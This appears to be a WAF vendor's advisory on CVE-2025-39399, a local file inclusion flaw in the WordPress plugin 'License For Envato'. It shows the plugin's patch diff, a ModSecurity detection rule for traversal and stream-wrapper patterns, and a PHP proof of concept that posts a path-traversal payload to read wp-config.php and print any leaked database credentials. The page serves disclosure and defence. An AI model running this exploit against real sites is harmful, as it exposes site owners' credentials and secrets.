+                $statusMessage = isset( $data->message ) ? $data->message : '';
                 if ($statusCode) {
                     return $statusMessage;
                 }
@@ -100,19 +107,21 @@
 	}

     private function licenceDeactivate(){
-        $code = get_option('envato_token');
+        $code = get_option(self::PREFIX.'_envato_token');
         if ( ! isset( $_POST['submit_deactivate'] ) ) {
             return;
         }
-        if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'submit_deactivate' ) ) {
+        // Unslash and sanitize nonce
+        $nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : '';
+        if ( ! wp_verify_nonce( $nonce, 'submit_deactivate' ) ) {
             wp_die( 'Are you cheating?' );
         }

         if ( ! current_user_can( 'manage_options' ) ) {
             wp_die( 'Are you cheating?' );
         }
-
-        $envato_deactivate = isset( $_POST['envato_deactivate'] ) ? sanitize_text_field( $_POST['envato_deactivate'] ) : '';
+        // Unslash and sanitize envato_deactivate
+        $envato_deactivate = isset( $_POST['envato_deactivate'] ) ? sanitize_text_field( wp_unslash( $_POST['envato_deactivate'] ) ) : '';

         if ($envato_deactivate) {
             $url = self::LICENCE_CALL_URL."/wp-json/licenseenvato/v1/deactive";
@@ -123,25 +132,28 @@
             $statusCode = isset( $date->code ) ? $date->code : '';
             $statusMessage = isset( $date->message ) ? $date->message : '';
             if ($statusCode == 'already_deactivated' ) {
-                delete_option('envato_is_activated');
-                delete_option('envato_token');
-                delete_option('envato_purchase_code');
+                delete_option(self::PREFIX.'_envato_is_activated');
+                delete_option(self::PREFIX.'_envato_token');
+                delete_option(self::PREFIX.'_envato_purchase_code');
+                delete_option(self::PREFIX.'_envato_itemid');
             }elseif ($statusCode) {
                 return $statusMessage;
             }else{
-                delete_option('envato_is_activated');
-                delete_option('envato_token');
-                delete_option('envato_purchase_code');
+                delete_option(self::PREFIX.'_envato_is_activated');
+                delete_option(self::PREFIX.'_envato_token');
+                delete_option(self::PREFIX.'_envato_purchase_code');
+                delete_option(self::PREFIX.'_envato_itemid');
             }
         }
     }

-    private function apicall($url, $purchase_code, $domain = null){
+    private function apicall($url, $purchase_code, $domain = null, $itemid = null){

         if ($domain) {
             $body = array(
                 'code' => $purchase_code,
                 'domain' => $domain,
+                'itemid' => $itemid,
             );
         }else{
             $body = array(
--- a/license-envato/includes/Admin/views/documentationView.php
+++ b/license-envato/includes/Admin/views/documentationView.php
@@ -1,24 +1,25 @@
 <div class="wrap">
-    <h1 class="wp-heading-inline"><?php _e( 'Documentation', 'licenseenvato' ); ?></h1>
+    <h1 class="wp-heading-inline"><?php esc_html_e( 'Documentation', 'license-envato' ); ?></h1>
 </div>
-<h2><?php _e('Step 1 (Your Site)', 'licenseenvato');?></h2>
+<h2><?php esc_html_e('Step 1 (Your Site)', 'license-envato');?></h2>
 <ul>
-    <li><?php _e('1. Install this plugin on your site.', 'licenseenvato');?></li>
-    <li><?php _e('2. Goto plugin settings > Activate Envato Token.', 'licenseenvato');?></li>
+    <li><?php esc_html_e('1. Install this plugin on your site.', 'license-envato');?></li>
+    <li><?php esc_html_e('2. Goto plugin settings > Activate Envato Token.', 'license-envato');?></li>
 </ul>
-<p><?php _e('Alright, the Plugin settings are done. If you want more unique license tokens add a Token secret key in the General Setting area. (Any letter/word)', 'licenseenvato');?></p>
-<h2><?php _e('Step 2 (Your Theme/Plugin)', 'licenseenvato');?></h2>
+<p><?php esc_html_e('Alright, the Plugin settings are done. If you want more unique license tokens add a Token secret key in the General Setting area. (Any letter/word)', 'license-envato');?></p>
+<h2><?php esc_html_e('Step 2 (Your Theme/Plugin)', 'license-envato');?></h2>
 <ul>
-    <li><?php _e('1. Goto your theme or plugin.', 'licenseenvato');?></li>
-    <li><?php _e('2. Copy this code.', 'licenseenvato');?></li>
-    <li><?php _e('3. Add this code to your theme or plugin.', 'licenseenvato');?></li>
+    <li><?php esc_html_e('1. Goto your theme or plugin.', 'license-envato');?></li>
+    <li><?php esc_html_e('2. Copy this code.', 'license-envato');?></li>
+    <li><?php esc_html_e('3. Add this code to your theme or plugin.', 'license-envato');?></li>
 </ul>
 <p class="display_code" readonly><?php show_source(LICENSE_ENVATO_FILE_PATH . '/includes/Admin/doc/class.license.php');?></p>
 <ul>
-    <li><?php _e('4. Replace <b>YOUR_SITE_URL</b> >', 'licenseenvato');?> <b><?php echo get_option( 'siteurl' );?></b></li>
-    <li><?php _e('5. Replace <b>TEXT_DOMAIN</b>', 'licenseenvato');?></li>
+    <li><?php esc_html_e('4. Replace "YOUR_SITE_URL" >', 'license-envato');?> <b><?php echo esc_html(get_option( 'siteurl' ));?></b></li>
+    <li><?php esc_html_e('5. Replace "TEXT_DOMAIN"', 'license-envato');?></li>
+    <li><?php esc_html_e('6. Replace "YOUR_PREFIX"', 'license-envato');?></li>
 </ul>
-<h2><?php _e('Step 3 (Your Theme/Plugin)', 'licenseenvato');?></h2>
-<p><?php _e('Now call this Class, where you want to add your theme/plugin License Box.', 'licenseenvato');?></p>
+<h2><?php esc_html_e('Step 3 (Your Theme/Plugin)', 'license-envato');?></h2>
+<p><?php esc_html_e('Now call this Class, where you want to add your theme/plugin License Box.', 'license-envato');?></p>
 <p class="display_code small_box" readonly><?php show_source(LICENSE_ENVATO_FILE_PATH . '/includes/Admin/doc/function-call.php');?></p>
-<p><?php _e('Congratulations! All Setup is done. Enjoy and conditionally manage what you want.', 'licenseenvato');?></p>
+<p><?php esc_html_e('Congratulations! All Setup is done. Enjoy and conditionally manage what you want.', 'license-envato');?></p>
--- a/license-envato/includes/Admin/views/envato.php
+++ b/license-envato/includes/Admin/views/envato.php
@@ -1,4 +1,4 @@
-<h3><?php _e( 'Envato Account Settings', 'licenseenvato' ); ?></h3>
+<h3><?php esc_html_e( 'Envato Account Settings', 'license-envato' ); ?></h3>
 <?php
 $license_envato_api->envato_token_handler();
 $license_envato_api->deactive_envato_token();
@@ -17,41 +17,41 @@
                 <div class="token_box">
                     <div class="label">
                         <h4>
-                            <label for="envato_token"><?php _e( 'Your Personal Token Here', 'licenseenvato' ); ?></label>
+                            <label for="envato_token"><?php esc_html_e( 'Your Personal Token Here', 'license-envato' ); ?></label>
                         </h4>
                     </div>
                     <div class="input_box">
-                        <input type="text" name="envato_token" id="envato_token" class="regular-text" value="<?php echo esc_html( $get_license_envato_envato_token );?>">
+                        <input type="text" name="envato_token" id="envato_token" class="regular-text" value="<?php echo esc_attr( $get_license_envato_envato_token );?>">
                     </div>
-                    <p class="description"><?php echo _e( 'You need a “personal token” before you can validate purchase codes for your items. This is similar to a password that grants limited access to your account, but it’s exclusively for the API.', 'licenseenvato' ); ?>  <a href="https://build.envato.com/create-token" target="_blank"><?php echo _e( 'Create a token.', 'licenseenvato' ); ?></a>
+                    <p class="description"><?php esc_html_e( 'You need a "personal token" before you can validate purchase codes for your items. This is similar to a password that grants limited access to your account, but it's exclusively for the API.', 'license-envato' ); ?>  <a href="https://build.envato.com/create-token" target="_blank"><?php esc_html_e( 'Create a token.', 'license-envato' ); ?></a>
                     </p>
                 </div>

                 <?php wp_nonce_field( 'license_envato_envato_token' ); ?>
-                <?php submit_button( __( 'Save Envato Token', 'licenseenvato' ), 'primary', 'submit_envato_token' ); ?>
+                <?php submit_button( esc_html__( 'Save Envato Token', 'license-envato' ), 'primary', 'submit_envato_token' ); ?>
             </form>
         </div>
         <div class="requarement">
-            <h4><?php _e('Minimum Permission','licenseenvato');?></h4>
+            <h4><?php esc_html_e('Minimum Permission','license-envato');?></h4>
             <ul>
-                <li><?php _e('View and search Envato sites','licenseenvato');?></li>
-                <li><?php _e('View your Envato Account username','licenseenvato');?></li>
-                <li><?php _e('View your email address','licenseenvato');?></li>
-                <li><?php _e('View your account profile details','licenseenvato');?></li>
-                <li><?php _e('View your account financial history','licenseenvato');?></li>
-                <li><?php _e('Download your purchased items','licenseenvato');?></li>
-                <li><?php _e('View your items' sales history','licenseenvato');?></li>
-                <li><?php _e('Verify purchases of your items','licenseenvato');?></li>
-                <li><?php _e('List purchases you've made','licenseenvato');?></li>
-                <li><?php _e('Verify purchases you've made','licenseenvato');?></li>
-                <li><?php _e('View your purchases of the app creator's items','licenseenvato');?></li>
+                <li><?php esc_html_e('View and search Envato sites','license-envato');?></li>
+                <li><?php esc_html_e('View your Envato Account username','license-envato');?></li>
+                <li><?php esc_html_e('View your email address','license-envato');?></li>
+                <li><?php esc_html_e('View your account profile details','license-envato');?></li>
+                <li><?php esc_html_e('View your account financial history','license-envato');?></li>
+                <li><?php esc_html_e('Download your purchased items','license-envato');?></li>
+                <li><?php esc_html_e('View your items' sales history','license-envato');?></li>
+                <li><?php esc_html_e('Verify purchases of your items','license-envato');?></li>
+                <li><?php esc_html_e('List purchases you've made','license-envato');?></li>
+                <li><?php esc_html_e('Verify purchases you've made','license-envato');?></li>
+                <li><?php esc_html_e('View your purchases of the app creator's items','license-envato');?></li>
             </ul>
         </div>
     </div>
 <?php }else{ ?>
     <form action="" method="post">
         <?php wp_nonce_field( 'license_envato_unlink' ); ?>
-        <?php submit_button( __( 'Deactivated Envato Account', 'licenseenvato' ), 'danger', 'unlink_envato_token' ); ?>
+        <?php submit_button( esc_html__( 'Deactivated Envato Account', 'license-envato' ), 'danger', 'unlink_envato_token' ); ?>
     </form>

 <?php } ?>
 No newline at end of file
--- a/license-envato/includes/Admin/views/general.php
+++ b/license-envato/includes/Admin/views/general.php
@@ -1,4 +1,4 @@
-<h3><?php _e( 'General Settings', 'licenseenvato' ); ?></h3>
+<h3><?php esc_html_e( 'General Settings', 'license-envato' ); ?></h3>
 <?php
 licenseEnvato_general_setting_handler();
 $get_token_secret = get_option('license_envato_token_secret');
@@ -14,17 +14,17 @@
             <tbody>
                 <tr>
                     <th scope="row">
-                        <label for="token_secret"><?php _e('Token secret key', 'licenseenvato')?></label>
+                        <label for="token_secret"><?php esc_html_e('Token secret key', 'license-envato')?></label>
                     </th>
                     <td>
-                        <input name="token_secret" type="text" id="token_secret" value="<?php echo $license_envato_token_secret;?>" class="regular-text">
-                        <p class="description" id="token_secret-description"><?php _e('If you want more secure token, use token secret key.', 'licenseenvato');?></p>
+                        <input name="token_secret" type="text" id="token_secret" value="<?php echo esc_attr($license_envato_token_secret);?>" class="regular-text">
+                        <p class="description" id="token_secret-description"><?php esc_html_e('If you want more secure token, use token secret key.', 'license-envato');?></p>
                     </td>
                 </tr>
             </tbody>
         </table>

         <?php wp_nonce_field( 'submit_general_setting' ); ?>
-        <?php submit_button( __( 'Save Changes', 'licenseenvato' ), 'primary', 'submit_general' ); ?>
+        <?php submit_button( __( 'Save Changes', 'license-envato' ), 'primary', 'submit_general' ); ?>
     </form>
 </div>
--- a/license-envato/includes/Admin/views/settingsView.php
+++ b/license-envato/includes/Admin/views/settingsView.php
@@ -1,10 +1,34 @@
+<?php
+// Exit if accessed directly
+defined('ABSPATH') || exit;
+
+// Define allowed tab values to prevent LFI
+$allowed_tabs = array('general', 'envato');
+// Apply filter to allow extensions to add their own tabs
+$allowed_tabs = apply_filters('license_envato_allowed_tabs', $allowed_tabs);
+
+// Verify nonce if tab parameter is set
+$action = 'general';
+if (isset($_GET['tab'])) {
+    // Verify nonce for tab switching if provided
+    if (isset($_GET['_wpnonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'license_envato_switch_tab')) {
+        $tab = sanitize_text_field(wp_unslash($_GET['tab']));
+        // Only allow values from the whitelist
+        $action = in_array($tab, $allowed_tabs) ? $tab : 'general';
+    } elseif (!isset($_GET['_wpnonce'])) {
+        // If no nonce is provided, still allow tab switching but sanitize input
+        $tab = sanitize_text_field(wp_unslash($_GET['tab']));
+        // Only allow values from the whitelist
+        $action = in_array($tab, $allowed_tabs) ? $tab : 'general';
+    }
+}
+?>
 <div class="wrap">
-    <h1 class="wp-heading-inline"><?php _e( 'Settings', 'licenseenvato' ); ?></h1>
-    <?php $action = isset( $_GET['tab'] ) ? sanitize_text_field( $_GET['tab'] ) : 'general'; ?>
+    <h1 class="wp-heading-inline"><?php esc_html_e( 'Settings', 'license-envato' ); ?></h1>
     <nav class="nav-tab-wrapper">
         <?php $licenseEnvato_nav = [
-            'general' => __('General', 'licenseenvato'),
-            'envato' => __('Envato', 'licenseenvato'),
+            'general' => esc_html__('General', 'license-envato'),
+            'envato' => esc_html__('Envato', 'license-envato'),
             ];

             $licenseEnvato_nav_array =  apply_filters( 'license_envato_settings_nav', $licenseEnvato_nav );
@@ -12,11 +36,13 @@
                 $html = '';
                 foreach ( $licenseEnvato_nav_array as $key => $val ) {
                     $class = ( $action == $key ) ? 'nav-tab-active' : '';
-                    $link = admin_url( 'admin.php?page=licenseenvato-settings&tab=' . $key . '' );
-                    $html .= '<a href="' . $link . '" class="nav-tab ' . $class . '">' . $val . '</a>';
+                    // Add nonce to tab links
+                    $nonce = wp_create_nonce('license_envato_switch_tab');
+                    $link = admin_url( 'admin.php?page=licenseenvato-settings&tab=' . $key . '&_wpnonce=' . $nonce );
+                    $html .= '<a href="' . esc_url($link) . '" class="nav-tab ' . esc_attr($class) . '">' . esc_html($val) . '</a>';
                 }
             }
-            echo $html;
+            echo wp_kses_post($html);
         ?>
     </nav>

@@ -25,13 +51,20 @@
     $licenseEnvato_nav_view =  apply_filters( 'license_envato_settings_view', $dir, $action );

     if ($licenseEnvato_nav_view) {
-        $template = "{$licenseEnvato_nav_view}/{$action}.php";
-    }
-
-    if ( file_exists( $template ) ) {
-        include $template;
-    }else{
-        include "{$licenseEnvato_nav_view}/general.php";
+        // Ensure we only include files within the plugin directory structure
+        $template = realpath("{$licenseEnvato_nav_view}/{$action}.php");
+        $nav_view_dir = realpath($licenseEnvato_nav_view);
+
+        // Verify the template is a child of the nav view directory to prevent path traversal
+        if ($template && $nav_view_dir && strpos($template, $nav_view_dir) === 0 && file_exists($template)) {
+            include $template;
+        } else {
+            // Fallback to general.php with the same security checks
+            $general_template = realpath("{$licenseEnvato_nav_view}/general.php");
+            if ($general_template && strpos($general_template, $nav_view_dir) === 0) {
+                include $general_template;
+            }
+        }
     }
     ?>
 </div>
 No newline at end of file
--- a/license-envato/includes/Admin/views/userview.php
+++ b/license-envato/includes/Admin/views/userview.php
@@ -1,9 +1,7 @@
 <div class="wrap">
-    <h1 class="wp-heading-inline"><?php _e( 'User List', 'licenseenvato' ); ?></h1>
+    <h1 class="wp-heading-inline"><?php esc_html_e( 'User List', 'license-envato' ); ?></h1>
     <hr class="wp-header-end">
     <?php
-
-    $table->prepare_items();
     $table->display();
     ?>
 </div>
 No newline at end of file
--- a/license-envato/includes/functions.php
+++ b/license-envato/includes/functions.php
@@ -9,7 +9,7 @@
             return;
         }

-        if ( !wp_verify_nonce( $_POST['_wpnonce'], 'submit_general_setting' ) ) {
+        if ( !isset( $_POST['_wpnonce'] ) || !wp_verify_nonce( wp_unslash( sanitize_text_field( $_POST['_wpnonce'] ) ), 'submit_general_setting' ) ) {
             wp_die( 'Are you cheating?' );
         }

@@ -17,7 +17,7 @@
             wp_die( 'Are you cheating?' );
         }

-        $token_secret_key = isset( $_POST['token_secret'] ) ? sanitize_text_field( $_POST['token_secret'] ) : 'LicenseEnvato';
+        $token_secret_key = isset( $_POST['token_secret'] ) ? sanitize_text_field( wp_unslash( $_POST['token_secret'] ) ) : 'license-envato';

         update_option( 'license_envato_token_secret', $token_secret_key );
     }
@@ -29,9 +29,14 @@
  */
 if (!function_exists('licenseEnvato__redirect')) {
     function licenseEnvato__redirect($type, $message){
-        $url = admin_url("admin.php?page=licenseenvato&{$type}={$message}");
-        $url = esc_url( $url );
-        $url = htmlspecialchars_decode( $url );
-        return '<script> window.location="'.$url.'";</script>';
+        $url = add_query_arg(
+            array(
+                'page' => 'licenseenvato',
+                $type => $message
+            ),
+            admin_url('admin.php')
+        );
+        wp_safe_redirect(wp_sanitize_redirect($url));
+        exit;
     }
 }
 No newline at end of file
--- a/license-envato/license-envato.php
+++ b/license-envato/license-envato.php
@@ -3,14 +3,14 @@
  * Plugin Name: License For Envato
  * Plugin URI: https://github.com/ashrafulsarkar/envato-licenser
  * Description: Manage your envato market items theme & plugin license.
- * Version: 1.0.0
- * Author: Ashraful Sarkar
+ * Version: 1.1.0
+ * Author: Ashraful Sarkar Naiem
  * Author URI: https://github.com/ashrafulsarkar
  * Requires at least: 6.0
  * Requires PHP:      7.2
  * License: GNU General Public License v2 or later
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
- * Text Domain: licenseenvato
+ * Text Domain: license-envato
  * Domain Path: /languages/
  */

@@ -46,6 +46,67 @@

 require_once __DIR__ . '/vendor/autoload.php';

+// Early handler for deactivation requests before any output is generated
+function license_envato_process_deactivation_early() {
+    if (!is_admin()) {
+        return;
+    }
+
+    if (isset($_REQUEST['page']) && $_REQUEST['page'] === 'licenseenvato' &&
+        isset($_REQUEST['action']) && $_REQUEST['action'] === 'deactivate') {
+
+        // Prevent any output before our redirect
+        while (ob_get_level()) {
+            ob_end_clean();
+        }
+
+        $token_value = isset( $_REQUEST['token'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['token'] ) ) : '';
+        $nonce_value = isset( $_REQUEST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) : '';
+
+        if ( ! wp_verify_nonce( $nonce_value, 'license_envato_deactivate_action_' . $token_value ) ) {
+            wp_die( esc_html__( 'Security check failed. Please try again.', 'license-envato' ) );
+        }
+
+        $code = [];
+        $code['token'] = $token_value;
+
+        // Need to manually include the API class if autoload hasn't run yet
+        if (!class_exists('LicenseEnvatoAPIEnvatoLicenseApiCall')) {
+            require_once __DIR__ . '/includes/API/EnvatoLicenseApiCall.php';
+        }
+
+        $EnvatoLicenseApiCall = new LicenseEnvatoAPIEnvatoLicenseApiCall;
+        $licenseenvato_deactive = $EnvatoLicenseApiCall->envatolicense_deactive( $code );
+
+        $redirect_url = add_query_arg(
+            array(
+                'page' => 'licenseenvato',
+            ),
+            admin_url('admin.php')
+        );
+
+        if ( is_wp_error( $licenseenvato_deactive ) ) {
+            $error_message = $licenseenvato_deactive->get_error_message();
+            $redirect_url = add_query_arg( 'error', urlencode(esc_html($error_message)), $redirect_url );
+        } elseif ( isset($licenseenvato_deactive['deactive']) ) {
+            $success_message = $licenseenvato_deactive['deactive'];
+            $redirect_url = add_query_arg( 'success', urlencode(esc_html($success_message)), $redirect_url );
+        } else {
+            $redirect_url = add_query_arg( 'error', urlencode(esc_html__('Something wrong!', 'license-envato')), $redirect_url );
+        }
+
+        // Disable any error output to prevent "headers already sent"
+        @error_reporting(0);
+        @ini_set('display_errors', 0);
+
+        // Force the redirect without using wp_redirect (which can check headers sent)
+        header("Location: " . $redirect_url);
+        exit;
+    }
+}
+// Hook with very high priority (1) to run early
+add_action('plugins_loaded', 'license_envato_process_deactivation_early', 1);
+
 /**
  * The main plugin class
  */
@@ -89,7 +150,7 @@
     }

     public function load_textdomain(){
-        load_plugin_textdomain("licenseenvato", false, dirname(__FILE__) . "/languages");
+        load_plugin_textdomain('license-envato', false, dirname(__FILE__) . "/languages");
     }

     /**
--- a/license-envato/vendor/autoload.php
+++ b/license-envato/vendor/autoload.php
@@ -1,12 +1,12 @@
-<?php
-
-// autoload.php @generated by Composer
-
-if (PHP_VERSION_ID < 50600) {
-    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    exit(1);
-}
-
-require_once __DIR__ . '/composer/autoload_real.php';
-
-return ComposerAutoloaderInit24462beaedaca5a7b497cc87d49c37f6::getLoader();
+<?php
+
+// autoload.php @generated by Composer
+
+if (PHP_VERSION_ID < 50600) {
+    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    exit(1);
+}
+
+require_once __DIR__ . '/composer/autoload_real.php';
+
+return ComposerAutoloaderInit24462beaedaca5a7b497cc87d49c37f6::getLoader();
--- a/license-envato/vendor/composer/ClassLoader.php
+++ b/license-envato/vendor/composer/ClassLoader.php
@@ -1,572 +1,572 @@
-<?php
-
-/*
- * This file is part of Composer.
- *
- * (c) Nils Adermann <naderman@naderman.de>
- *     Jordi Boggiano <j.boggiano@seld.be>
- *
- * For the full copyright and license information, please view the LICENSE
- * file that was distributed with this source code.
- */
-
-namespace ComposerAutoload;
-
-/**
- * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
- *
- *     $loader = new ComposerAutoloadClassLoader();
- *
- *     // register classes with namespaces
- *     $loader->add('SymfonyComponent', __DIR__.'/component');
- *     $loader->add('Symfony',           __DIR__.'/framework');
- *
- *     // activate the autoloader
- *     $loader->register();
- *
- *     // to enable searching the include path (eg. for PEAR packages)
- *     $loader->setUseIncludePath(true);
- *
- * In this example, if you try to use a class in the SymfonyComponent
- * namespace or one of its children (SymfonyComponentConsole for instance),
- * the autoloader will first look for the class under the component/
- * directory, and it will then fallback to the framework/ directory if not
- * found before giving up.
- *
- * This class is loosely based on the Symfony UniversalClassLoader.
- *
- * @author Fabien Potencier <fabien@symfony.com>
- * @author Jordi Boggiano <j.boggiano@seld.be>
- * @see    https://www.php-fig.org/psr/psr-0/
- * @see    https://www.php-fig.org/psr/psr-4/
- */
-class ClassLoader
-{
-    /** @var ?string */
-    private $vendorDir;
-
-    // PSR-4
-    /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
-     */
-    private $prefixLengthsPsr4 = array();
-    /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
-     */
-    private $prefixDirsPsr4 = array();
-    /**
-     * @var array[]
-     * @psalm-var array<string, string>
-     */
-    private $fallbackDirsPsr4 = array();
-
-    // PSR-0
-    /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
-     */
-    private $prefixesPsr0 = array();
-    /**
-     * @var array[]
-     * @psalm-var array<string, strin

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2025-39399
# Blocks unauthenticated Local File Inclusion attempts against the License For Envato
# REST API endpoint. Matches path traversal, php filter wrappers, and absolute paths
# supplied through the domain or code parameters.
SecRule REQUEST_URI "@beginsWith /wp-json/license-envato/" 
  "id:20253999,phase:2,deny,status:403,chain,msg:'CVE-2025-39399 License For Envato REST LFI',severity:'CRITICAL',tag:'CVE-2025-39399',tag:'atomic-edge'"
  SecRule ARGS_POST:domain "@rx (?:../|%2e%2e|php://|/etc/|/proc/|\|file://|data://|zip://|phar://)S*" "t:urlDecodeUni,t:lowercase,chain"
    SecRule ARGS_POST:domain "@rx (?:../|php://|/etc/|/proc/|file://|data://|zip://|phar://)" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-39399 - License For Envato <= 1.0.0 - Unauthenticated Local File Inclusion

// Target configuration
$target_url = 'http://example.com';
$target_file = '../../../../wp-config.php';

// Build the REST API endpoint for the vulnerable plugin.
// Adjust the namespace/version if the plugin registers a different route.
$endpoint = rtrim($target_url, '/') . '/wp-json/license-envato/v1/active';

// Forge the JSON body with a path traversal payload in the domain field.
$payload = json_encode([
    'code'   => 'ABCD1234-EF56-7890-ABCD-1234567890AB',
    'domain' => $target_file,
    'itemid' => '12345678'
]);

// Send the request without any authentication cookies or nonces.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Accept: application/json'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curl_err = curl_error($ch);
curl_close($ch);

if ($curl_err) {
    echo "[-] Request error: " . $curl_err . PHP_EOL;
    exit(1);
}

echo "[*] HTTP status: " . $http_code . PHP_EOL;

// The response may include leaked content from the targeted file, an error,
// or a token if the plugin reaches the inclusion path.
if (preg_match('/DB_NAME|DB_USER|DB_PASSWORD|AUTH_KEY/i', $response)) {
    echo "[+] wp-config.php content leaked in response." . PHP_EOL;
    echo $response . PHP_EOL;
} else {
    echo "[*] Response body:" . PHP_EOL;
    echo substr($response, 0, 2000) . PHP_EOL;
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.